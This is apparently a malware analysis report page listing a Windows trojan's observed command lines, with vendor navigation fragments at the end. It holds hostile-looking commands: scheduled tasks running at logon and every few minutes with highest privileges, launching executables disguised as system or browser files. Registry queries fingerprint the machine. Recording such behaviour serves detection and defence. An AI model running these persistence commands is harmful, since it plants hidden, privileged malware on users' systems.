'<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONLOGON /tr "'%HOMEPATH%\dwm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "rundll32r" /sc MINUTE /mo 10 /tr "'%ALLUSERSPROFILE%\Microsoft Help\rundll32.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "rundll32" /sc ONLOGON /tr "'%ALLUSERSPROFILE%\Microsoft Help\rundll32.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "rundll32r" /sc MINUTE /mo 10 /tr "'%ALLUSERSPROFILE%\Microsoft Help\rundll32.exe'" /f
'<SYSTEM32>\cmd.exe' /C <SYSTEM32>\reg.exe query "HKEY_LOCAL_MACHINE\Software\Microsoft\NET Framework Setup\NDP\v1.1.4322" /v Install
'<SYSTEM32>\reg.exe' query HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\.NETFramework\Policy\v1.0\3705 /v Install
'<SYSTEM32>\cmd.exe' /C <SYSTEM32>\reg.exe query HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\.NETFramework\Policy\v1.0\3705 /v Install
'<SYSTEM32>\reg.exe' query HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\v1.0\3705 /v Install
'<SYSTEM32>\cmd.exe' /C <SYSTEM32>\reg.exe query HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\v1.0\3705 /v Install
'<SYSTEM32>\reg.exe' query "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release
'<SYSTEM32>\cmd.exe' /C <SYSTEM32>\reg.exe query "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release
'<SYSTEM32>\reg.exe' query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release
'<SYSTEM32>\cmd.exe' /C <SYSTEM32>\reg.exe query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release
'<SYSTEM32>\reg.exe' query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
'<SYSTEM32>\cmd.exe' /C <SYSTEM32>\reg.exe query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
'<SYSTEM32>\reg.exe' query HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Cryptography /v MachineGuid
'<SYSTEM32>\cmd.exe' /C <SYSTEM32>\reg.exe query HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Cryptography /v MachineGuid
'%WINDIR%\syswow64\cmd.exe' /c ""C:\webreviewruntimebrokerdll\YYgla3NgCYC9HBhTYhFS58kyPtZ4.bat" "
'<SYSTEM32>\cmd.exe' /C <SYSTEM32>\reg.exe query "HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\NET Framework Setup\NDP\v1.1.4322" /v Install
'<SYSTEM32>\reg.exe' query "HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\NET Framework Setup\NDP\v1.1.4322" /v Install
'<SYSTEM32>\reg.exe' query "HKEY_LOCAL_MACHINE\Software\Microsoft\NET Framework Setup\NDP\v1.1.4322" /v Install
'<SYSTEM32>\cmd.exe' /C <SYSTEM32>\reg.exe query "HKEY_LOCAL_MACHINE\Software\Microsoft\NET Framework Setup\NDP\v2.0.50727" /v Install
'<SYSTEM32>\schtasks.exe' /create /tn "taskhostt" /sc MINUTE /mo 11 /tr "'C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\taskhost.exe'" /rl HIGHEST /f
'<SYSTEM32>\reg.exe' query "HKEY_LOCAL_MACHINE\Software\Microsoft\NET Framework Setup\NDP\v2.0.50727" /v Install
'<SYSTEM32>\schtasks.exe' /create /tn "taskhost" /sc ONLOGON /tr "'C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\taskhost.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "taskhostt" /sc MINUTE /mo 11 /tr "'C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\taskhost.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "explorere" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\explorer.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "explorer" /sc ONLOGON /tr "'C:\MSOCache\All Users\explorer.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "explorere" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\explorer.exe'" /f
'<SYSTEM32>\reg.exe' query "HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full" /v Install
'<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'<Current directory>\csrss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "firefox" /sc ONLOGON /tr "'%ProgramFiles%\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\firefox.exe'" /rl HIGHEST /f
'<SYSTEM32>\cmd.exe' /C <SYSTEM32>\reg.exe query "HKEY_LOCAL_MACHINE\Software\Microsoft\NET Framework Setup\NDP\v4\Full" /v Install
'<SYSTEM32>\reg.exe' query "HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\NET Framework Setup\NDP\v3.0\Setup" /v InstallSuccess
'<SYSTEM32>\cmd.exe' /C <SYSTEM32>\reg.exe query "HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\NET Framework Setup\NDP\v3.0\Setup" /v InstallSuccess
'<SYSTEM32>\reg.exe' query "HKEY_LOCAL_MACHINE\Software\Microsoft\NET Framework Setup\NDP\v3.0\Setup" /v InstallSuccess
'<SYSTEM32>\cmd.exe' /C <SYSTEM32>\reg.exe query "HKEY_LOCAL_MACHINE\Software\Microsoft\NET Framework Setup\NDP\v3.0\Setup" /v InstallSuccess
'<SYSTEM32>\reg.exe' query "HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\NET Framework Setup\NDP\v2.0.50727" /v Install
'<SYSTEM32>\cmd.exe' /C <SYSTEM32>\reg.exe query "HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\NET Framework Setup\NDP\v2.0.50727" /v Install
'<SYSTEM32>\cmd.exe' /C <SYSTEM32>\reg.exe query "HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full" /v Install
'<SYSTEM32>\schtasks.exe' /create /tn "firefoxf" /sc MINUTE /mo 13 /tr "'%ProgramFiles%\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\firefox.exe'" /rl HIGHEST /f

技术

术语

教育培训

误区

Technical Information

Curing recommendations

Free trial